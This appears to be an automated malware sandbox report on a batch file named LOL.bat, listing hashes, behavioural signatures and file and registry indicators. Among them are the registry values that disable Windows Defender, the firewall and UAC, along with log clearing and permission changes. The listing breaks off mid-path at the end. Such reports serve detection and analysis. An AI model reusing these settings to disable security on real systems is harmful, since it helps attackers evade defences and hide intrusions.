Analysis
- max time kernel
898s - max time network
428s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/07/2026, 04:33
Static task
static1
Behavioral task
behavioral1
Sample
LOL.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
30 signatures
900 seconds
Behavioral task
behavioral2
Sample
LOL.bat
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
26 signatures
900 seconds
General
- Target LOL.bat
- Size 7KB
- Sample260708-e6t2saaz2w
- SHA256 6fb7d2a500191110a79c6e9e7d5210c42b3948f2808a4997ef759525fc17f78a
- MD5 ac6a82a9672124e13ccf0772d8fbaf06
- SHA1 d8611c4c78b944337e14bd956e4337fc286d5289
- SHA512 2ce3488cb98bc64b01e69eab5ece695fec4657d5fa47b6a7f309c3879acb80dfc351b36b7ab4f1f6236a429461c40428d2e6346a1b132f1578d810a0d5cde116
- SSDEEP 192:g3Aomo9oQp2aWQzEyUj73BCdoQxxzwH7cShtobKHaiPykqjRaXV5+YUA5T2toeyz:gQx0BAaWQzEyUj73BCdosxzwH7cShtoQ
- TLSH T18EE150033E152C2E904284D1C5FB950AE3E9E04791923ED8B4DE60EAAA37752433BFDD
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe - Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe - Modifies firewall policy service 3 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0" reg.exe - UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe - Drops file in Drivers directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\fr-FR\processr.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\acpi.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\VerifierExt.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\agilevpn.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\usbdr.dll attrib.exe File opened for modification C:\Windows\System32\drivers\IntelPMT.sys attrib.exe File opened for modification C:\Windows\System32\drivers\pdc.sys attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\vhdmp.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\dumpsd.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\wudfpf.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\iaLPSS2i_GPIO2_CNL.sys attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\usbhub.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\spaceparser.sys attrib.exe File opened for modification C:\Windows\SysWOW64\Drivers\gm.dls cmd.exe File opened for modification C:\Windows\System32\drivers\es-ES\qwavedrv.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\mshidumdf.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\acpitime.sys attrib.exe File opened for modification C:\Windows\System32\drivers\CAD.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\mslldp.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\IPMIDrv.sys attrib.exe File opened for modification C:\Windows\System32\drivers\Rtnic64.sys attrib.exe File opened for modification C:\Windows\System32\drivers\tpm.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\IPMIDRV.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\serial.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\smbdirect.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\netvsc.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\Diskdump.sys attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\hidclass.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\iaLPSS2i_I2C.sys attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\hidclass.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\rdbss.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\NdisImPlatform.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\hidbth.sys attrib.exe File opened for modification C:\Windows\System32\drivers\hidusb.sys attrib.exe File opened for modification C:\Windows\System32\drivers\p9rdr.sys attrib.exe File opened for modification C:\Windows\System32\drivers\winhv.sys attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\rdbss.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\nvstor.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\EhStorTcgDrv.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\uk-UA\tcpip.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\intelide.sys attrib.exe File opened for modification C:\Windows\System32\drivers\ipfltdrv.sys attrib.exe File opened for modification C:\Windows\System32\drivers\sdport.sys attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\scmbus.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\de-DE\idtsec.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\netbt.sys attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\ntfs.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\iagpio.sys attrib.exe File opened for modification C:\Windows\System32\drivers\mouhid.sys attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\isapnp.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\Microsoft.Bluetooth.AvrcpTransport.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\dumpsd.sys attrib.exe File opened for modification C:\Windows\System32\drivers\winmad.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\hidbatt.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\i8042prt.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\hidbth.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\bthport.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\scsiport.sys attrib.exe File opened for modification C:\Windows\System32\drivers\vwififlt.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\wudfpf.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\wudfpf.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\MTConfig.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\rhproxy.sys attrib.exe - Manipulates Digital Signatures 2 IoCs
Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.
description ioc Process File opened for modification C:\Windows\System32\wintrust.dll attrib.exe File opened for modification C:\Windows\SysWOW64\wintrust.dll cmd.exe - Possible privilege escalation attempt 4 IoCs
pid Process 1332 icacls.exe 2412 takeown.exe 2612 icacls.exe 5828 icacls.exe - Boot or Logon Autostart Execution: Print Processors 1 TTPs 1 IoCs
Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.
description ioc Process File opened for modification C:\Windows\System32\spool\prtprocs\x64\winprint.dll attrib.exe - Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Indicator Removal: Clear Windows Event Logs 1 TTPs 64 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Autopilot.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBClient%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-TWinUI%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Initialization.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Biometrics%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-PCW%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Internet Explorer.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Cache%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-PnP%4Driver Watchdog.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-VDRVROOT%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Key Management Service.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Dump%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-PrintService%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4LogonTasksChannel.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageVolume%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Provisioning-Diagnostics-Provider%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZSync%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageVolume%4Diagnostic.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudFiles-Filter%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-VHDMP-Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-MUI%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-UniversalTelemetryClient%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx attrib.exe - Modifies file permissions 1 TTPs 4 IoCs
pid Process 2412 takeown.exe 2612 icacls.exe 5828 icacls.exe 1332 icacls.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Drops desktop.ini file(s) 33 IoCs
description ioc Process File opened for modification C:\Windows\WinSxS\AMBEDF~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AME61D~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM7DA6~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM0290~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM06DC~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM0718~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM83CD~1.159\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM35BB~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM1487~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMA8BC~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM3B18~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMF6B4~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM87B9~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM3D7A~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM6F13~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMD54F~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM8C1C~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM6257~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM2879~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM065C~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM4A4F~1.115\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMF4D3~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM90D8~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM5C63~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM7706~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM01A8~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMA1D4~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM4C16~1.115\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM1052~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMCA47~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM5558~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMAEF3~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM2D5B~1.1_N\Desktop.ini cmd.exe - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\DriverStore\en-US\swenum.inf_loc attrib.exe File opened for modification C:\Windows\System32\mi-NZ\WWAHost.exe.mui attrib.exe File opened for modification C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CrashDump-Package~31bf3856ad364e35~amd64~ja-JP~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win2-Minimal-Package~31bf3856ad364e35~amd64~fr-FR~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\de-DE\SystemPropertiesAdvanced.exe.mui attrib.exe File opened for modification C:\Windows\System32\spool\drivers\color attrib.exe File opened for modification C:\Windows\System32\uk-UA\SettingsHandlers_Devices.dll.mui attrib.exe File opened for modification C:\Windows\SysWOW64\netplwiz.dll cmd.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\UEV.Types.ps1xml cmd.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Multimedia-CastingCommon-WOW64-Package~31bf3856ad364e35~amd64~es-ES~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\DriverStore\it-IT\TransferCable.inf_loc attrib.exe File opened for modification C:\Windows\System32\spool\tools\Microsoft Print To PDF\MPDW-pipelineconfig.xml attrib.exe File opened for modification C:\Windows\System32\uk-UA\SyncSettings.dll.mui attrib.exe File opened for modification C:\Windows\SysWOW64\p9np.dll cmd.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\netbc64.inf_amd64_4c416384b17ee84f\BCMWL63a.SYS attrib.exe File opened for modification C:\Windows\System32\fr-FR\djoin.exe.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\deskmon.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\rshx32.dll.mui attrib.exe File opened for modification C:\Windows\System32\wbem\de-DE\embeddedlockdownwmi.mfl attrib.exe File opened for modification C:\Windows\System32\StorSvc.dll attrib.exe File opened for modification C:\Windows\SysWOW64\iscsidsc.dll cmd.exe File opened for modification C:\Windows\SysWOW64\VscMgrPS.dll cmd.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~es-ES~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-DesktopFileExplorer-Package~31bf3856ad364e35~amd64~de-DE~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\de-DE\mciwave.dll.mui attrib.exe File opened for modification C:\Windows\System32\DriverStore\ja-JP\netevbd0a.inf_loc attrib.exe File opened for modification C:\Windows\System32\fr-FR\dataclen.dll.mui attrib.exe File opened for modification C:\Windows\System32\ja-jp\FirewallAPI.dll.mui attrib.exe File opened for modification C:\Windows\System32\perfi00C.dat attrib.exe File opened for modification C:\Windows\SysWOW64\termmgr.dll cmd.exe File opened for modification C:\Windows\System32\DriverStore\it-IT\netrast.inf_loc attrib.exe File opened for modification C:\Windows\System32\es-ES\EhStorAPI.dll.mui attrib.exe File opened for modification C:\Windows\System32\ExecModelClient.dll attrib.exe File opened for modification C:\Windows\System32\msls31.dll attrib.exe File opened for modification C:\Windows\System32\en-US\print.exe.mui attrib.exe File opened for modification C:\Windows\System32\fr-FR\comctl32.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\jscript.dll.mui attrib.exe File opened for modification C:\Windows\System32\wbem\wmipsess.mof attrib.exe File opened for modification C:\Windows\SysWOW64\dmprocessxmlfiltered.dll cmd.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Compute-Host-VirtualMachines-Package~31bf3856ad364e35~amd64~it-IT~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-ApplicationModel-Sync-Desktop-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-International-WOW64-Package~31bf3856ad364e35~amd64~uk-UA~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-BootEnv-merged-Package~31bf3856ad364e35~amd64~fr-FR~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\it-IT\autopilotdiag.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\Geolocation.dll.mui attrib.exe File opened for modification C:\Windows\System32\ja-jp\drprov.dll.mui attrib.exe File opened for modification C:\Windows\System32\wbem\fr-FR\NetEventPacketCapture.mfl attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-TroubleShooting-Package~31bf3856ad364e35~amd64~uk-UA~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~fr-FR~10.0.26100.1.cat attrib.exe File opened for modification C:\Windows\System32\de-DE\vdsbas.dll.mui attrib.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\netwtw08.inf_amd64_448906930b28afd9\IntelIHVRouter08.dll attrib.exe File opened for modification C:\Windows\System32\en-US\TrustedSignalCredProv.dll.mui attrib.exe File opened for modification C:\Windows\System32\en-US\wsl.exe.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\EaseOfAccessDialog.exe.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\windows.ui.xaml.dll.mui attrib.exe File opened for modification C:\Windows\System32\de-DE\TSSessionUX.dll.mui attrib.exe File opened for modification C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PSDesiredStateConfiguration\DSCResources\MSFT_ServiceResource\en-US\MSFT_ServiceResource.schema.mfl attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\MICC17~1.EVT cmd.exe File opened for modification C:\Windows\SysWOW64\secproc_isv.dll cmd.exe File opened for modification C:\Windows\SysWOW64\spp\tokens\skus\CSVLK-~1\csvlk-pack-Volume-CSVLK-9-ul-store-rtm.xrm-ms cmd.exe File opened for modification C:\Windows\System32\IME\IMEJP\imjputyc.dll attrib.exe File opened for modification C:\Windows\System32\wbem\de-DE\wmiutils.dll.mui attrib.exe File opened for modification C:\Windows\System32\wbem\it-IT\storagewmi_passthru.mfl attrib.exe - Modifies termsrv.dll 1 TTPs 1 IoCs
Commonly used to allow simultaneous RDP sessions.
description ioc Process File opened for modification C:\Windows\System32\termsrv.dll attrib.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\PROGRA~3\MICROS~1\Windows\AppRepository\Packages\MI59BD~1.0_X\ACTIVA~2.LOG cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\es-ES\rtscom.dll.mui cmd.exe File opened for modification C:\PROGRA~2\COMMON~1\System\wab32.dll cmd.exe File opened for modification C:\PROGRA~2\REFERE~1\MICROS~1\FRAMEW~1\v3.5\es\System.Data.Entity.Resources.dll cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\ja-JP\InkObj.dll.mui cmd.exe File opened for modification C:\PROGRA~1\WIF4A9~1\MsSense.exe cmd.exe File opened for modification C:\PROGRA~2\REFERE~1\MICROS~1\FRAMEW~1\v3.0\System.Workflow.Activities.dll cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Windows\AppRepository\Packages\MI9E53~1.100\MACHIN~1.PCK cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\lv-LV\tipresx.dll.mui cmd.exe File opened for modification C:\PROGRA~1\REFERE~1\MICROS~1\FRAMEW~1\v3.5\ja\System.Windows.Presentation.resources.dll cmd.exe File opened for modification C:\PROGRA~2\WindowsPowerShell\Modules\Pester\3.4.0\Functions\Assertions\BeLessThan.Tests.ps1 cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Windows\AppRepository\Packages\MICROS~3.0_N\ACTIVA~1.DAT cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\System\msadc\msadco.dll cmd.exe File opened for modification C:\PROGRA~1\WIF4A9~1\CLASSI~1\NOTICE.txt cmd.exe File opened for modification C:\PROGRA~1\WINDOW~4\ja-JP\wmpnetwk.exe.mui cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\te-IN\tipresx.dll.mui cmd.exe File opened for modification C:\PROGRA~1\WINDOW~4\MEDIAR~1\DMR_48.jpg cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~1.0_X\Assets\THEME-~2\Network.ico cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Windows\AppRepository\MI4466~1.XML cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Windows\DeviceMetadataStore\en-US\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms cmd.exe File opened for modification C:\PROGRA~1\REFERE~1\MICROS~1\FRAMEW~1\v3.5\System.Data.Services.dll cmd.exe File opened for modification C:\PROGRA~1\WINDOW~1\fr-FR\MsMpRes.dll.mui cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~1.0_X\Assets\Fonts\Winsec.ttf cmd.exe File opened for modification C:\PROGRA~1\WindowsPowerShell\Modules\Pester\3.4.0\Functions\BreakAndContinue.Tests.ps1 cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Windows\AppRepository\Packages\MIE861~1.0_X\ACTIVA~1.DAT cmd.exe File opened for modification C:\PROGRA~1\WINDOW~4\es-ES\wmpnssui.dll.mui cmd.exe File opened for modification C:\PROGRA~1\WINDOW~4\fr-FR\wmpnssui.dll.mui cmd.exe File opened for modification C:\PROGRA~1\WINDOW~4\wmpnetwk.exe cmd.exe File opened for modification C:\PROGRA~1\WindowsPowerShell\Modules\Pester\3.4.0\Functions\Assertions\BeLike.ps1 cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Device 